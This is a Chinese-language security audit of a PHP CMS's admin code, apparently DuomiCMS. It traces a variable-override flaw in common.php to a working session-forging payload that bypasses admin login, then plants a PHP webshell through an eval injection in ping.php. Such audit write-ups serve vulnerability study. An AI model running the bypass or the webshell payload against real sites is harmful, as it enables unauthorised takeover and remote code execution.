目标
在不知道后台账户密码的情况下进入管理员后台
全局搜索*$$*
- 其中先发现id=83、88、92的文件中存在foreach遍历,优先查看
文件common.php
第52-55行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
- 首先通过遍历包含
'_GET','_POST','_COOKIE'
的数组,依次赋值给变量$_request
foreach($$_request as $_k => $_v)
$$_request
代表的是含有全局变量($_GET、$_POST、$_COOKIE
)数组- 动态的调用对应的全局变量,将每个数组元素的键值对分别赋值为
$_k
和$_v
${$_k} = _RunMagicQuotes($_v);
- 根据
$_k
的值动态的创建变量,并将经过函数_RunMagicQuotes
处理后的$_v
的值赋给,这个变量${$_k}
- 其中
_RunMagicQuotes
为处理参数中魔术引号的函数
- 其中
第28-34行
foreach($_REQUEST as $_k=>$_v) //循环遍历$_REQUEST变量,每个数组元素的键值对分别赋值为`$_k`和`$_v`
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
- 首先循环遍历变量
R
E
Q
U
E
S
T
,每个数组元素的键值对分别赋值为
‘
_REQUEST,每个数组元素的键值对分别赋值为`
REQUEST,每个数组元素的键值对分别赋值为‘_k
和
$_v` - 判断键名
$_k
,如果键名不为空且以cfg_|GLOBALS
开头,并在COOKIE中没有设置相应的值,则终止程序,返回信息非法参数
总结
文件common.php,通用模块文件,可能是一个对外部提交的参数做处理的文件,暂时没有问题,可以先查看哪些文件调用了这个文件
全局搜索common.php
- 由于我们的目的是进行后台,优先查看/admin/目录下的文件
文件config.php
第27-33行
//检验用户登录状态
$cuserLogin = new userLogin(); //实例化了一个userLogin类的对象
if($cuserLogin->getUserID()==-1)
{
header("location:login.php?gotopage=".urlencode($EkNowurl));
exit();
}
- 发现有个处理用户登录状态的语句
- 当
getUserID()==-1
时执行跳转功能 - 定位查看
userLogin
和getUserID()
- 文件check.admin.php中
文件check.admin.php
第34-43行
var $userName = '';
var $userPwd = '';
var $userID = '';
var $adminDir = '';
var $groupid = '';
var $keepUserIDTag = "duomi_admin_id";
var $keepgroupidTag = "duomi_group_id";
var $keepUserNameTag = "duomi_admin_name";
- 其中发现三个变量
$keepUserIDTag
,$keepgroupidTag
,$keepUserNameTag
- 推测可能是用于存储用户id、用户组id、用户名的变量
第72行
//检验用户是否正确
function checkUser($username,$userpwd)
- 发现是一个检查用户的函数
- 继续审计
第77-79行
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
- 规定用户名密码,并对输入的密码进行了md5加密
第80-81行
$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
- 通过select方法,返回当前用户名且
state='1'
的数据
第82行
$row = $dsql->GetObject();
-
一个获取数据库查询结果中的对象的方法
function GetObject($id="me") { if($this->result[$id]==0) { return false; } else { return mysql_fetch_object($this->result[$id]); } }
-
即返回变量
$id
的结果集 -
最后赋值给**$row**
第83-101行
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->groupid = $row->groupid;
$this->userName = $row->name;
$inquery = "update `duomi_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
return 1;
}
}
- 用于验证用户登录信息并获取用户id、用户组id、用户名以及更新IP
第105-124行
//保持用户的会话状态
//成功返回 1 ,失败返回 -1
function keepUser()
{
if($this->userID!=""&&$this->groupid!="")
{
global $admincachefile;
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
$fp = fopen($admincachefile,'w');
fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
fclose($fp);
return 1; //登录成功
}
else
{
return -1; //登录失败
}
}
- 当用户id和组id不为空时,将获取到的
userID
、groupid
、userName
传递到SESSION中存储,以保持登录状态
思考
- 我们可以通过修改session值,伪造管理员的身份进入后台
$fp = fopen($admincachefile, 'w');
fwrite($fp, '<?php $admin_path =' . " '{$this->adminDir}'; ?>");
fclose($fp);
- 将管理员目录路径写入文件
第136行-146行
//获得用户的权限值
function getgroupid()
{
if($this->groupid!='')
{
return $this->groupid;
}
else
{
return -1;
}
}
- 发现是一个获取权限值的函数
- 我们可以查看有哪些权限
全局搜索$groupid
文件admin_manager.php
第101-110行
function getManagerLevel($groupid)
{
if($groupid==1){
return "系统管理员";
}else if($groupid==2){
return "网站编辑员";
}else{
return "未知类型";
}
}
- 发现组id为1时权限为系统管理员
- 组id为2时权限为网站编辑员
思考
- 所以此时我们可以利用组id=1来伪造管理员的身份
- 而用户id和用户名发现做其他过滤,合理即可
相关代码
var $keepUserIDTag = "duomi_admin_id";
var $keepgroupidTag = "duomi_group_id";
var $keepUserNameTag = "duomi_admin_name";
+
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
||
$_SESSION[duomi_admin_id]
$_SESSION[duomi_group_id]
$_SESSION[duomi_admin_name]
-
通过变量覆盖进行构造
_SESSION[duomi_admin_id]=10&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=zmh
-
寻找可以使用session的文件
- 包含session_start()
全局搜索session_start()
- 发现其中有27个文件,进行筛选
- 包含文件common.php
测试
文件comment.php
登录成功,进入后台
写马
payload
- 查看ping.php文件,发现需要构造闭合
123";eval($_REQUEST[6]);"
成功